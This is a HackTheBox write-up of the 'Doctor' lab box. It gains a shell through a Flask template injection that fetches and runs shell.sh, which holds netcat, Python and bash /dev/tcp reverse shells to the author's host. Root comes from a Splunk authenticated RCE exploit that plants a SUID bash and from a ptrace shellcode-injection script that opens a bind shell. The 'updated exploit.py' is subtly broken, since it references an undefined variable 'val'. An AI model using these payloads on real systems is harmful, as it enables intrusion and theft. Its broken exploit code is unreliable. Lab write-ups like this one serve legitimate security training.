Doctor HackTheBox Writeup

15 minute read

doctor

Doctor is an easy Linux box made by egotisticalSW. First on port 80, a email was found leaking a hostname of a webserver which was vulnerable to Server Side Template Injection and a reverse shell was obtained as user web by exploiting this vulnerability. On the box, the user web was a member of group adm which allowed us to read log files and one had a password for another user shaun. And finally Splunkd running on port 8089 was exploited to get a shell on the box as root. Alternatively SYS_PTRACE Linux Capability on python3.8 was exploited to get a root shell.

Port Scan

[email protected]:~/Documents/htb/boxes/doctor$ nmap -sC -sV -oA nmap/initial 10.129.11.7
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http syn-ack Splunkd httpd
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/localityName=San Francisco/[email protected]
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
| SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQC3IKogA4zEAzANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yMDA5MDYxNTU3MjdaFw0yMzA5MDYxNTU3
| MjdaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JgJ
| NKrC4SrGzEhhyluUIcBW+eD6y+4paEikip5bzO7Xz8+tVJmFBcDfZdkL3TIZFTCF
| 95BMqL4If1SNZlFQxpMZB/9PzCMm0HmhEK/FlHfdrLwaeK71SWeO/MMNtsAheIPA
| pNByri9icp2S9u7wg89g9uHK4ION8uTJMxbmtCRT4jgRcenOZYghvsTEMLPhwlb2
| M/59WRopfyakIEl/w/zF1jCfnrT6XfZtTos6ueet6lhjd8g5WW9ZJIfmjYDaqHPg
| Tg3yLCRjYhLk+2vLyrO23l5kk8H+H4JgIOCqhAw38hC0r+KETsuWCGIxl4rBBDQw
| E5TvP75NsGW2O3JNDQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBJjjx+KHFwYJei
| lMJlmXBOEs7V1KiAjCenWd0Bz49Bkbik/5Rcia9k44zhANE7pJWNN6gpGJBn7b7D
| rliSOwvVoBICHtWFuQls8bRbMn5Kfdd9G7tGEkKGdvn3jOFkQFSQQQ56Uzh7Lezj
| hjtQ1p1Sg2Vq3lJm70ziOlRa0i/Lk7Ydc3xJ478cjB9nlb15jXmSdZcrCqgsAjBz
| IIDPzC+f7hJYlnFau2OA5uWPX/HIR7JfQsKXWCM6Tx0b9tZKgNNOr+DwyML4CH6o
| qrryh7elUJojAaZ0wYNd5koGZzEH4ymAQoshgFyEgetm1BbzMbA3PfZkX1VR6AV+
| guO5oa9R
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Flags used in nmap

  • -sC for default scripts
  • -sV for enumerating version
  • -oA for saving output in file initial inside nmap directory in all format

Looking at the results, we have three ports open. SSH is open on port 22 running OpenSSH version 8.2p1. HTTP service is running on port 80 running Apache httpd version 2.4.41 and the banner is telling us that it is a ubuntu box. Another HTTP service is also running on port 8089 which is running Splunkd. As SSH does not have that much of an attack surface, let’s start our enumeration with HTTP service on port 80.

Port 80

1

And on the same page, we see a email id with a hostname.

2

Lets add this entry to our /etc/hosts file.

10.10.10.209   doctors.htb htb

Checking doctors.htb

3

We are presented with a login page. We do not have any credentials at this point, but we can register a new user.

Registering user with username admin

4 It means the user with admin already exists. Using this technique, we can enumerate potential usernames on this site if needed.

Creating new user

5 And this time, as there was no user with username admin1, we can successfully register a user with that username.

New message

In the navbar, there is a link to send a new message which let us post the new contents. 6

Checking the technologies used by webserver using Wappalyzer

7

The programming language used by the webserver is python and it is hosted using flask, so, the first thing came on my mind was server side template injection.

Template injection

Payload

{{ 1 + 1 }}

If we get 2 in the result that will mean that this expression gets evaluated on the server which means we get code execution.

Creating new post

8

9 But we get the payload as it is.

Checking the source of the page

So while I was looking around I found a comment on the source code.

10 We could have found this by using gobuster or any other directory bruteforcing tools.

Checking /archive

11

Here we are getting 2 on the title means our code was evaluated on the server, which means we get code execution.

Shell as web

As we have code execution, we have to find a way to get a reverse shell on the box. I have searched and found this post on medium for getting a reverse shell.

Payload Used

[].__class__.__base__.__subclasses__().pop(407)(['wget','10.10.14.18:8000/shell.sh'])
[].__class__.__base__.__subclasses__().pop(407)(['bash','shell.sh'])

Payload Explained

>>> [].__class__
<type 'list'>   

This returns the class of a list.

>>> [].__class__.__base__
<type 'object'>

This returns the base class of the list.

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod
...

This returns all the subclasses of object class. Now from this list we have to find a class with method that helps us to get a reverse shell on the box.

As this is a list we can access a object using [index].

[].__class__.__base__.__subclasses__()[10]

So with trial and error, I finally found a class Subprocess.Popen on index number 407.

>>> [].__class__.__base__.__subclasses__()[407]
<class 'subprocess.Popen'>

As explained on the post on medium that I followed, there were issues with this approach and we were not able to execute commands. So the single class is taken out of the list using pop.

 >>> [].__class__.__base__.__subclasses__()[407]
<class 'subprocess.Popen'>

Final payload

[].__class__.__base__.__subclasses__().pop(407)(['wget','10.10.14.18:8000/shell.sh'])
[].__class__.__base__.__subclasses__().pop(407)(['bash','shell.sh'])

Here first of all we will create a file called shell.sh on our local box with content for reverse shell and we will start a web server on port 8000. Then we will download this shell.sh file on the remote box using wget and we will execute this file. I went this approach because the usual reverse shell payload have a lot of character with symbols like < > | and &.

Contents of shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.141 9001 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.141",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.141",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash -i >& /dev/tcp/10.10.14.141/9001 0>&1

I like to use multiple reverse shell payloads.

Listening on my box on 9001

[email protected]:~/Documents/htb/boxes/doctor$ nc -nvlp 9001
Listening on [0.0.0.0] (family 2, port 9001)
Listening on 0.0.0.0 9001

Python server on Port 8000

[email protected]:~/Documents/htb/boxes/doctor$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Updating previous post with new payload

12

And when we make a request to /archive, we get a request on our python server on port 8000 for shell.sh file.

[email protected]:~/Documents/htb/boxes/doctor$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.19.165 - - [28/Sep/2020 23:16:29] "GET /shell.sh HTTP/1.1" 200 -

It worked. Now we just have to execute the file.

Executing shell.sh

13

And now when we make a request on /archive, we get a connection back on netcat listening on port 9001.

[email protected]:~/Documents/htb/boxes/doctor$ nc -nvlp 9001
Listening on [0.0.0.0] (family 2, port 9001)
Listening on 0.0.0.0 9001
Connection received on 10.129.19.165 55244
/bin/sh: 0: can't access tty; job control turned off
$ 

Upgrading the shell

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CTRL + z to background the process.

On local box

[email protected]:~/Documents/htb/boxes/doctor$ stty raw -echo

Type fg to foreground the process and hit enter twice.

On reverse shell

[email protected]:~$ export TERM=xterm

Now we get a proper shell with autocompletion.

Privilege Escalation

Checking the groups of user web

[email protected]:~$ groups
web adm

Our current user is in adm group which means we can read few extra log files.

Extracting the content from log files containing word password

[email protected]:/var/log$ grep -Ri password 2>/dev/null
auth.log:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
auth.log:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
auth.log:Sep 28 11:11:56 doctor VGAuth[687]: vmtoolsd: Username and password successfully validated for 'root'.
auth.log:Sep 28 11:11:56 doctor VGAuth[687]: message repeated 2 times: [ vmtoolsd: Username and password successfully validated for 'root'.]
auth.log:Sep 28 11:12:01 doctor VGAuth[687]: vmtoolsd: Username and password successfully validated for 'root'.
auth.log:Sep 28 11:12:09 doctor VGAuth[687]: message repeated 20 times: [ vmtoolsd: Username and password successfully validated for 'root'.]
auth.log.1:Sep 14 10:13:48 doctor sshd[1457]: Failed password for shaun from 10.10.14.4 port 36940 ssh2
auth.log.1:Sep 14 10:13:55 doctor sshd[1457]: Failed password for shaun from 10.10.14.4 port 36940 ssh2
auth.log.1:Sep 14 10:19:27 doctor passwd[1690]: pam_unix(passwd:chauthtok): password changed for shaun
auth.log.1:Sep 14 10:19:27 doctor passwd[1690]: gkr-pam: couldn't update the login keyring password: no old password was entered
auth.log.1:Sep 15 11:57:05 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [shaun]
auth.log.1:Sep 15 12:04:32 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [shaun]
auth.log.1:Sep 15 12:04:34 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [shaun]
auth.log.1:Sep 15 12:41:30 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [web]
syslog.1:Sep 23 11:34:12 doctor kernel: [    6.426178] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 11:34:12 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 11:34:12 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 11:52:43 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 11:52:43 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 11:52:43 doctor kernel: [    6.464159] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 14:47:41 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 14:47:41 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 14:47:41 doctor kernel: [    6.237032] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 15:16:40 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 15:16:40 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 15:16:40 doctor kernel: [    6.134633] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 15:48:10 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 15:48:10 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 15:48:10 doctor kernel: [    4.007137] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 28 11:11:42 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 28 11:11:42 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 28 11:11:42 doctor kernel: [    3.085739] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/[email protected]ae7b997ca2d8.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/[email protected]b98c1acfe.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/[email protected]0dc697773.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/[email protected]af5694057aa6.journal matches
dmesg:[    3.085739] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
dmesg.0:[    4.007137] systemd[1]: Started Forward Password Requests to Wall Directory Watch.

And there was one particular entry for reseting the password which I found interesting.

apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

Listing the home directory

[email protected]:/var/log$ ls /home
shaun  web

As credential reuse is very common, I tried to login to shaun’s account with that password.

 [email protected]:/var/log$ su shaun
Password: 
[email protected]:/var/log$ 

And we are on the box as user shaun.

Reading user.txt

[email protected]:~$ ls
user.txt
[email protected]:~$ cat user.txt 
5160************************5fa

Privilege Escalation to root

There was another port 8089 that was open which was running splunkd from our nmap scan.

Port 8089

14

It was running splunkd with build no 8.0.5. So I checked online if there were any publicly available exploits for splunkd and I found an amazing article but the only problem is that it was authenticated RCE.

Checking /service

15 At first I tried common passwords like admin:admin, admin:password. Searching on the web, I found that default password for splunk is admin:changeme, but this also did not log me in. And thinking credential reusing is a very common thing, so I tried to login as shaun:Guitar123.

16 And we get in. Now we just have to run the exploit.

Downloading exploit to my local box

[email protected]:~/Documents/htb/boxes/doctor$ wget https://raw.githubusercontent.com/cnotin/SplunkWhisperer2/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py
--2020-09-28 23:36:09--  https://raw.githubusercontent.com/cnotin/SplunkWhisperer2/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.192.133, 151.101.128.133, 151.101.64.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.192.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5077 (5.0K) [text/plain]
Saving to: ‘PySplunkWhisperer2_remote.py’

PySplunkWhisperer2_remote.py              100%[===========================================================================================>]   4.96K  --.-KB/s    in 0.001s  

2020-09-28 23:36:09 (9.17 MB/s) - ‘PySplunkWhisperer2_remote.py’ saved [5077/5077]

Running the exploit

[email protected]:~/Documents/htb/boxes/doctor$ python PySplunkWhisperer2_remote.py --host 10.129.19.165 --port 8089 --username shaun --password Guitar123 --payload "touch /dev/shm/exploit" --lhost 10.10.14.141
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpLziy1A.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.141:8181/
10.129.19.165 - - [28/Sep/2020 23:37:22] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

It looked like the exploit worked.

Checking /dev/shm for new file

[email protected]:~$ ls -la /dev/shm
total 0
drwxrwxrwt  2 root root   60 Sep 28 19:52 .
drwxr-xr-x 18 root root 4000 Sep 28 11:11 ..
-rw-------  1 root root    0 Sep 28 19:52 exploit
[email protected]:~$ 

The file a file with filename exploit is created in /dev/shm as root. So the exploit clearly works.

Getting a shell as root

[email protected]:~/Documents/htb/boxes/doctor$ python PySplunkWhisperer2_remote.py --host 10.129.19.165 --port 8089 --username shaun --password Guitar123 --payload "cp /bin/bash /tmp/bash && chmod 4777 /tmp/bash" --lhost 10.10.14.141
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpYeO1dV.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.141:8181/
10.129.19.165 - - [28/Sep/2020 23:40:03] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

Here I copied the usual /bin/bash binary to /tmp/bash and changed the file permission to 4777, which means that it can be executed by everyone on the box and when executed it will be executed as root as the SUID bit is enabled on the binary.

Checking /tmp

[email protected]:~$ ls -la /tmp/bash
-rwsrwxrwx 1 root root 1183448 Sep 28 19:55 /tmp/bash

The file is created and if we look at the files permissions, the SUID bit is enabled too.

Getting root shell

[email protected]:~$ /tmp/bash -p
bash-5.0# id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)
bash-5.0# 

And we are root at the effective id euid is equal to 0.

Reading root flag

bash-5.0# cd /root
bash-5.0# ls
root.txt
bash-5.0# cat root.txt
4f86************************4bce

Unintentional way

Listing all linux Capabilities

[email protected]:/dev/shm$ getcap -r / 2>/dev/null
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8 = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

One particular entry that interested me was /usr/bin/python3.8 having cap_sys_ptrace+ep capability. And I searched around to find if this condition is exploitable to get a root shell and found this amazing article which exploited similar condition to get a root shell and the exploit was available for python2.7. The only thing we have to do is to convert this code so that we can run this exploit using python3.

Contents of exploit.py

# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS	= 12
PTRACE_SETREGS	= 13
PTRACE_ATTACH 	= 16
PTRACE_DETACH 	= 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
	_fields_ = [
    	("r15", ctypes.c_ulonglong),
    	("r14", ctypes.c_ulonglong),
    	("r13", ctypes.c_ulonglong),
    	("r12", ctypes.c_ulonglong),
    	("rbp", ctypes.c_ulonglong),
    	("rbx", ctypes.c_ulonglong),
    	("r11", ctypes.c_ulonglong),
    	("r10", ctypes.c_ulonglong),
    	("r9", ctypes.c_ulonglong),
    	("r8", ctypes.c_ulonglong),
    	("rax", ctypes.c_ulonglong),
    	("rcx", ctypes.c_ulonglong),
    	("rdx", ctypes.c_ulonglong),
    	("rsi", ctypes.c_ulonglong),
    	("rdi", ctypes.c_ulonglong),
    	("orig_rax", ctypes.c_ulonglong),
    	("rip", ctypes.c_ulonglong),
    	("cs", ctypes.c_ulonglong),
    	("eflags", ctypes.c_ulonglong),
    	("rsp", ctypes.c_ulonglong),
    	("ss", ctypes.c_ulonglong),
    	("fs_base", ctypes.c_ulonglong),
    	("gs_base", ctypes.c_ulonglong),
    	("ds", ctypes.c_ulonglong),
    	("es", ctypes.c_ulonglong),
    	("fs", ctypes.c_ulonglong),
    	("gs", ctypes.c_ulonglong),
	]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

This exploit creates a bind shell on port 5600.

Modifying the exploit to get the final value

>>> import ctypes
>>> import sys
>>> import struct
>>> shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
>>> 
>>> final = []
>>> for i in xrange(0,len(shellcode),4):
...  
...   # Convert the byte to little endian.
...   shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
...   shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
...   shellcode_byte=int(shellcode_byte_little_endian,16)
...   final.append(shellcode_byte)
... 
>>> final
[1220555080, 826855985, 1791426550, 40523817, 1208291167, 1711434391, 35931335, 1582620693, 1479633490, 257560682, 845831685, 1778716504, 84891691, 57317192, 2966355806, 1963265825, 1390868472, 1647295304, 791637609, 1213425779, 2955164813, 331579]

Now we just have to put this value to our new exploit.py.

Updated exploit.py

import ctypes
import sys
import struct

PTRACE_POKETEXT   = 4
PTRACE_GETREGS	= 12
PTRACE_SETREGS	= 13
PTRACE_ATTACH 	= 16
PTRACE_DETACH 	= 17

class user_regs_struct(ctypes.Structure):
	_fields_ = [
    	("r15", ctypes.c_ulonglong),
    	("r14", ctypes.c_ulonglong),
    	("r13", ctypes.c_ulonglong),
    	("r12", ctypes.c_ulonglong),
    	("rbp", ctypes.c_ulonglong),
    	("rbx", ctypes.c_ulonglong),
    	("r11", ctypes.c_ulonglong),
    	("r10", ctypes.c_ulonglong),
    	("r9", ctypes.c_ulonglong),
    	("r8", ctypes.c_ulonglong),
    	("rax", ctypes.c_ulonglong),
    	("rcx", ctypes.c_ulonglong),
    	("rdx", ctypes.c_ulonglong),
    	("rsi", ctypes.c_ulonglong),
    	("rdi", ctypes.c_ulonglong),
    	("orig_rax", ctypes.c_ulonglong),
    	("rip", ctypes.c_ulonglong),
    	("cs", ctypes.c_ulonglong),
    	("eflags", ctypes.c_ulonglong),
    	("rsp", ctypes.c_ulonglong),
    	("ss", ctypes.c_ulonglong),
    	("fs_base", ctypes.c_ulonglong),
    	("gs_base", ctypes.c_ulonglong),
    	("ds", ctypes.c_ulonglong),
    	("es", ctypes.c_ulonglong),
    	("fs", ctypes.c_ulonglong),
    	("gs", ctypes.c_ulonglong),
	]

libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"


# CHANGED FROM HERE
# Previously obtained value
final = [1220555080, 826855985, 1791426550, 40523817, 1208291167, 1711434391, 35931335, 1582620693, 1479633490, 257560682, 845831685, 1778716504, 84891691, 57317192, 2966355806, 1963265825, 1390868472, 1647295304, 791637609, 1213425779, 2955164813, 331579]

# Inject the shellcode into the running process byte by byte.
j = 0
for i in range(0,len(shellcode),4):
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),val[j])
  j +=1

# CHANGED UPTO HERE

print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Now we need a process running as root.

Listing Processes

[email protected]:/home$ ps -ef | grep -i apache
root       16034       1  0 10:36 ?        00:00:00 /usr/sbin/apache2 -k start
www-data   16047   16034  0 10:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data   16048   16034  0 10:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data   16049   16034  0 10:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data   16050   16034  0 10:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data   16051   16034  0 10:37 ?        00:00:00 /usr/sbin/apache2 -k start
shaun      16057   16036  0 10:37 pts/0    00:00:00 grep --color=auto -i apache

Apache with pid 16034 is running as root.

Running the exploit

[email protected]:/dev/shm$ python3.8 exploit.py 16034
Instruction Pointer: 0x7faa72081f4a
Injecting Shellcode at: 0x7faa72081f4a
Shellcode Injected!!
Final Instruction Pointer: 0x7faa72081f4c

It looked like it ran successfully.

Checking for open ports

[email protected]:/dev/shm$ ss -lt | grep 5600
LISTEN  0       0                0.0.0.0:5600            0.0.0.0:*  

We have a port listening on 5600. Lets connect on the port using nc.

Getting a root shell

[email protected]:/dev/shm$ nc 127.0.0.1 5600
id 
uid=0(root) gid=0(root) groups=0(root)
whoami
root

And we get a root shell.